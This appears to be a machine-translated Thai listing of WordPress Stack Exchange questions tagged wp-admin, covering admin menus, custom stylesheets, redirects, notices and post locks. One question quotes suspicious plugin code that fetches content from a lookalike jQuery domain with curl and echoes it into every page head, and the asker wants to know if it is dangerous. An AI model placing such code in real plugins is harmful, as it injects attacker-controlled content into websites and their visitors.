คำถามติดแท็ก wp-admin

เครื่องมือสำหรับการดูแลไซต์ที่อยู่ในไดเรกทอรี `wp-admin` ของไซต์ WordPress

1
วิธีใช้ฟิลด์“ menu_order” สำหรับโพสต์
ฉันมีกรณีพิเศษที่ฉันต้องการสั่งซื้อโพสต์ในการสั่งซื้อที่กำหนดเองและมันจะดีมากที่จะใช้ฟิลด์ "menu_order" ซึ่งปกติจะใช้สำหรับหน้าเว็บเท่านั้น อะไรจะเป็นวิธีที่ดีที่สุดในการเปิดเผยใน WordPress admin UI

3
ฉันจะจัดการกับการกระทำของหน้าปลั๊กอินที่กำหนดเองได้ดีที่สุดได้อย่างไร
ฉันทำงานอย่างต่อเนื่องกับความรำคาญแบบเดียวกันดังนั้นฉันคิดว่าฉันจะดูว่ามีความคิดหรือประสบการณ์ที่นั่น ... ฉันสร้างปลั๊กอินที่ใช้หน้าผู้ดูแลระบบของตัวเองแล้ว มันมีการ ตอนนี้ฉันแยกแยะเนื้อหา WP_List_Table () ฉันต้องบอกว่ามันยอดเยี่ยม ... แต่ .... หน้าปลั๊กอินแบบกำหนดเองจะโหลดเสมอadmin.php?page=...เว้นแต่ว่าฉันต้องการโหลดจากไดเรกทอรีปลั๊กอินโดยตรงซึ่งฉันไม่ต้องการ ตอนนี้ถ้าฉันทำ 'การกระทำ' จากหน้านั้นฉันต้องดำเนินการอย่างใดแล้วเปลี่ยนเส้นทางกลับไปที่หน้าโดยไม่ต้องพารามิเตอร์การกระทำ ไม่ว่าฉันจะทำ GET หรือ POST จริงๆ ในทุกหน้าเป็นภายใน WP ทำสิ่งนี้ในหน้าเดียวกันตรวจสอบว่ามีการกระทำหรือไม่ถ้าเป็นเช่นนั้นประมวลผลแล้วเปลี่ยนเส้นทางไปยังตัวเองโดยไม่ต้องดำเนินการ สิ่งนี้เป็นไปได้เพราะในหน้าเหล่านี้admin-headerยังไม่ได้โหลด หากคุณลองทำบนหน้าของคุณเองครึ่งหนึ่งของอินเทอร์เฟซผู้ดูแลระบบได้ถูกส่งไปยังเบราว์เซอร์แล้วดังนั้นจึงไม่สามารถเปลี่ยนเส้นทางได้อีกต่อไป เห็นได้ชัดว่าวิธีแก้ปัญหาคือ POST / GET โดยตรงไปยังหน้าอื่นโหลดเฟรมเวิร์ก WP ที่ทำการประมวลผลแล้วเปลี่ยนเส้นทางกลับไปที่หน้าเดิม ... แต่ ... ที่น่ารำคาญเล็กน้อยเพราะ ... เดิมของฉัน โหลดหน้าเว็บด้วยการโทรกลับเพื่อให้ทำงานในวิธีการเรียนของฉัน นั่นเป็นสิ่งที่สวยงาม หากฉันโหลดหน้าแยกฉันต้องรวมด้วยตนเองwp-load.phpและฉันอยู่นอกชั้นเรียนของฉันซึ่งเป็นที่น่ารำคาญและในกรณีของฉันโดยเฉพาะอย่างยิ่งฉันข้อผิดพลาดโดยเฉพาะอย่างยิ่งเพราะฉันเพียง instanciating ชั้นปลั๊กอินของฉันโดยไม่ระบุชื่อ จากด้านนอก. ดังนั้นหลังจากเรื่องยาวนี้ ... ไม่มีใครคิดวิธีแก้ปัญหาที่ดีในการโหลดอีกหน้าผ่านการติดต่อกลับ โดยไม่ต้องมีส่วนต่อประสานผู้ดูแลระบบทั้งหมดที่ติดตั้งไว้แล้ว? (ฉันรู้วิธีแก้ปัญหา ... …

7
เปลี่ยนข้อความบนปุ่มเผยแพร่
มีวิธีในการเปลี่ยนข้อความของปุ่มเผยแพร่ในประเภทโพสต์ที่กำหนดเองเพื่อพูดแตกต่างกันบ้างไหม? ตัวอย่างเช่นบันทึกแทนการเผยแพร่ และยังลบปุ่มร่างหรือไม่

2
การเพิ่มสไตล์ชีทที่กำหนดเองไปที่ wp-admin
ฉันมีปัญหาในการทำให้สไตล์ชีทที่กำหนดเองของฉันทำงานในพื้นที่ WP-ADMIN plugins_url('style.css', __FILE__) );ฉันต้องสร้างโฟลเดอร์ในปลั๊กอินของฉันชื่อ css หรือฉันจะคัดลอก.cssไปยังwp-admin/cssไดเรกทอรีหรือไม่ ฉันลองทั้งสองอย่างดูเหมือนจะไม่เหมาะกับฉัน และค่าใดที่ควรแทนที่ด้วย__FILE__? ขอโทษฉันยังใหม่กับสิ่งเหล่านี้ /*ADDS STYLESHEET ON WP-ADMIN*/ add_action( 'admin_enqueue_scripts', 'safely_add_stylesheet_to_admin' ); function safely_add_stylesheet_to_admin() { wp_enqueue_style( 'prefix-style', plugins_url('style.css', __FILE__) ); } /*ADDS MY CUSTOM NAVIGATION BAR ON WP-ADMIN*/ add_action('admin_head', 'custom_nav'); function custom_nav(){ include('custom_nav.html'); }
21 wp-admin  css 

9
ไม่สามารถเปลี่ยนภาษา (เฉพาะ“ อังกฤษ (สหรัฐอเมริกา)”)
Wordpress ควรอนุญาตให้ฉันเปลี่ยนภาษาได้ตลอดเวลา อย่างไรก็ตามบางครั้งฉันติดอยู่ในสถานการณ์แบบนี้ซึ่งฉันจะเลือก "อังกฤษ (สหรัฐอเมริกา)" เท่านั้น (การตั้งค่า> การตั้งค่าทั่วไป> ภาษาของไซต์) สิ่งที่ฉันคาดหวัง: สิ่งที่ฉันได้รับ: ทำไมถึงเป็นอย่างนั้น? ฉันจะแก้ไขสิ่งนี้ได้อย่างไร

8
วิธี จำกัด การเข้าถึงแดชบอร์ดเฉพาะผู้ดูแลระบบเท่านั้น
เราจะ จำกัด การเข้าถึงพื้นที่ผู้ดูแลระบบ WP ให้กับผู้ใช้ทั้งหมดยกเว้นผู้ดูแลระบบอย่างไร ผู้ใช้บนเว็บไซต์ของเรามีหน้าโปรไฟล์ของตัวเองซึ่งทำหน้าที่ทุกอย่างที่พวกเขาต้องการ ดังนั้นผู้ดูแลระบบควรปิดขีด ​​จำกัด สำหรับทุกคนยกเว้นผู้ดูแลระบบ ทำอย่างไร
19 wp-admin  users 


3
การเปลี่ยนเส้นทางหน้าผู้ดูแลระบบ
เป็นไปได้หรือไม่ที่จะเปลี่ยนเส้นทางผู้ใช้ไปยังหน้าผู้ดูแลระบบหากพวกเขาเข้าถึงหน้าผู้ดูแลระบบคนอื่น? ตัวอย่างเช่นหากผู้ใช้เคยเห็น "ทุกหน้า" /wp-admin/edit.php?post_type=page พวกเขาจะถูกเปลี่ยนเส้นทางไปที่ "เพิ่มหน้าใหม่" /wp-admin/post-new.php?post_type=page

2
ฉันพบสิ่งนี้ในปลั๊กอิน มันทำอะไร? มันอันตรายไหม
ฉันพบสิ่งนี้ในปลั๊กอิน มันทำอะไร? มันอันตรายไหม add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }


10
การวางเมนูโพสต์ที่กำหนดเองไว้เหนือเมนูโพสต์โดยใช้ menu_position?
ฉันเพิ่งพบพารามิเตอร์ menu_positionดูเหมือนว่าคุณสามารถวางเมนูประเภทโพสต์ที่กำหนดเองของคุณได้เกือบทุกที่ ยกเว้นด้านบนเมนูโพสต์! ฉันจะทำให้สำเร็จได้อย่างไร

5
เมื่อย้ายเว็บไซต์ WP เหตุใด wp-admin จึงเปลี่ยนเส้นทางไปยังไซต์เก่า
ฉันอยู่ในกระบวนการย้ายเว็บไซต์ WP จากโฮสต์หนึ่งไปยังอีก ฉันคัดลอกฐานข้อมูลและไฟล์ทั้งหมดสร้างฐานข้อมูลใหม่และนำเข้าไฟล์เก่า ฉันเปลี่ยนไฟล์ wp-config หน้าแรกแสดงได้ดี แต่เมื่อฉันพยายามเข้าถึง / wp-admin มันจะพาฉันกลับไปที่ไซต์เก่า ไซต์ใหม่เป็นเซิร์ฟเวอร์ dev ที่ฉันวางแผนจะเปลี่ยนแปลงสไตล์ก่อนที่ฉันจะใช้ไซต์จริง ฉันกำลังพลาดอะไรเกี่ยวกับการเปลี่ยนแปลงนี้? ฉันจะทำให้ไซต์ตอบสนองต่อ dev url ได้อย่างถูกต้องได้อย่างไร

7
กำลังโหลดสคริปต์ภายนอกในผู้ดูแลระบบ แต่สำหรับประเภทโพสต์เฉพาะเท่านั้น
ดังนั้นฉันจึงพบปัญหานี้ต่อไปและฉันกำลังมองหาวิธีที่ดีที่สุดและง่ายที่สุดในการแก้ปัญหานี้ ฉันได้ใช้ประโยชน์จากประเภทโพสต์ที่กำหนดเองในโครงการที่แตกต่างกันและได้ขยายสิ่งเหล่านี้ด้วย metaboxes ที่กำหนดเองซึ่งฉันได้ขยายเพิ่มเติมโดยการเพิ่มสคริปต์ที่กำหนดเองเช่นตัวเลือกปฏิทินกิจกรรม jQuery ... ทั้งหมดนี้ใช้งานได้ดี ... ฉันไม่ต้องการให้สคริปต์ jQuery แบบกำหนดเองเหล่านี้โหลดได้ทุกหน้าในผู้ดูแลระบบ ฉันกำลังมองหาวิธีเพียงแค่โหลด jQuery ที่กำหนดเองเหล่านี้เมื่อฉันอยู่ในหน้า "แก้ไขโพสต์" สำหรับประเภทโพสต์เฉพาะ ทางออกที่ดีที่สุดที่นี่คืออะไร อัพเดท 1 ก่อนอื่นขอบคุณมาก ฉันตกใจจริง ๆ ที่ผู้พัฒนาปลั๊กอินไม่แน่ใจในสิ่งนี้เพราะฉันรู้ว่านี่เป็นหนึ่งในเหตุผลสำคัญที่ทำให้เกิดปัญหากับปลั๊กอินที่แตกต่างกัน ฉันกำลังมีปัญหาเพิ่มเติมเกี่ยวกับเรื่องนี้ ตัวอย่างเช่น... ฉันได้ปรับเปลี่ยนสคริปต์เพื่อเรียกใช้คำสั่ง if เช่นนี้: if (is_admin() && $pagenow=='post-new.php' OR $pagenow=='post.php' && $typenow=='events') อย่างที่คุณเห็นฉันกำลังพยายามตั้งค่าต่างๆเพื่อให้สคริปต์ของฉันถูกเรียกเมื่อฉันเพิ่มหรือแก้ไขโพสต์ในประเภท "โพสต์" ของโพสต์ ฉันไม่ต้องการให้สคริปต์โหลดบนหน้าอื่นและไม่ต้องการให้เรียกใช้ในรายการหน้าในประเภทโพสต์ของ "กิจกรรม" ดังนั้นฉันคิดว่าคำสั่ง if นั้นถูกต้อง ปัญหาดูเหมือนว่าสคริปต์จะโหลดเมื่อฉันสร้างโพสต์ใหม่ในประเภทโพสต์นี้ แต่ดูเหมือนจะไม่ทำงานเมื่อฉันแก้ไขโพสต์ที่มีอยู่ คุณลองทดสอบดูสิและอาจแจ้งให้ฉันทราบว่าฉันทำผิดอะไรได้บ้าง? นี่คือรหัสที่แน่นอนที่ฉันใช้ ... อาจจะมีวิธีที่ดีกว่าหรือง่ายกว่าในการทำเช่นนี้? …

4
วิธีเพิ่มการแจ้งเตือนของผู้ดูแลระบบเมื่อทำการบันทึก / อัพเดท
ฉันมีประเภทโพสต์ที่ใช้ post_save เพื่อนำที่อยู่จากโพสต์เมตาและดึงพิกัดละติจูด / ลองจิจูดจาก Google API ฉันต้องการวิธีแจ้งให้ผู้ใช้ทราบหากมีปัญหาในการเรียก coordintes ฉันพยายามใช้ admin_notices แต่ไม่มีสิ่งใดปรากฏขึ้น: public static function update_notice() { echo "<div class='error'><p>Failed to retrieve coordinates. Please check key and address.<p></div>"; remove_action('admin_notices', 'update_notice'); } add_action('admin_notices', array('GeoPost', 'update_notice')); ฉันไม่แน่ใจว่าฉันใช้มันไม่ถูกต้องหรือในบริบทที่ผิด เพื่อความชัดเจนในรหัสจริง add_action อยู่ในฟังก์ชั่นอื่นในชั้นเรียนเดียวกัน มันใช้งานได้ดี

4
จะปิดการใช้งาน“ Post Lock / Edit Lock” ได้อย่างไร?
ฉันต้องการปิดการใช้งานสำหรับประเภทโพสต์เดียวเนื่องจากไม่สำคัญว่าจะมีผู้ใช้รายอื่นแก้ไขหรือไม่ (พื้นที่แก้ไขเนื้อหาหลักคือ Ajaxified และผู้ที่ไม่ได้เป็นผู้ดูแลระบบสามารถเห็นได้) ฉันดูที่ฟังก์ชั่นหลัก แต่ไม่พบจุดเข้า จากฟังก์ชั่นที่wp_set_post_lockฉันคาดเดาว่าฉันจะต้องสกัดกั้นget_post_metaแต่มีวิธีอย่างเป็นทางการหรือไม่ และมีการล็อคครั้งที่สองที่ดูเหมือนจะไม่ได้รับผลกระทบจากตัวกรองwp_check_post_lock_window( ดังแสดงโดย Birgireที่นี่ในคำตอบ) ฉันได้พยายามremove_filter( 'heartbeat_received', 'wp_refresh_post_lock', 10, 3 );ตามจุดต่าง ๆ remove_filterแต่มันก็ช่วยให้การเต้นโดยไม่ต้องเคารพ

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.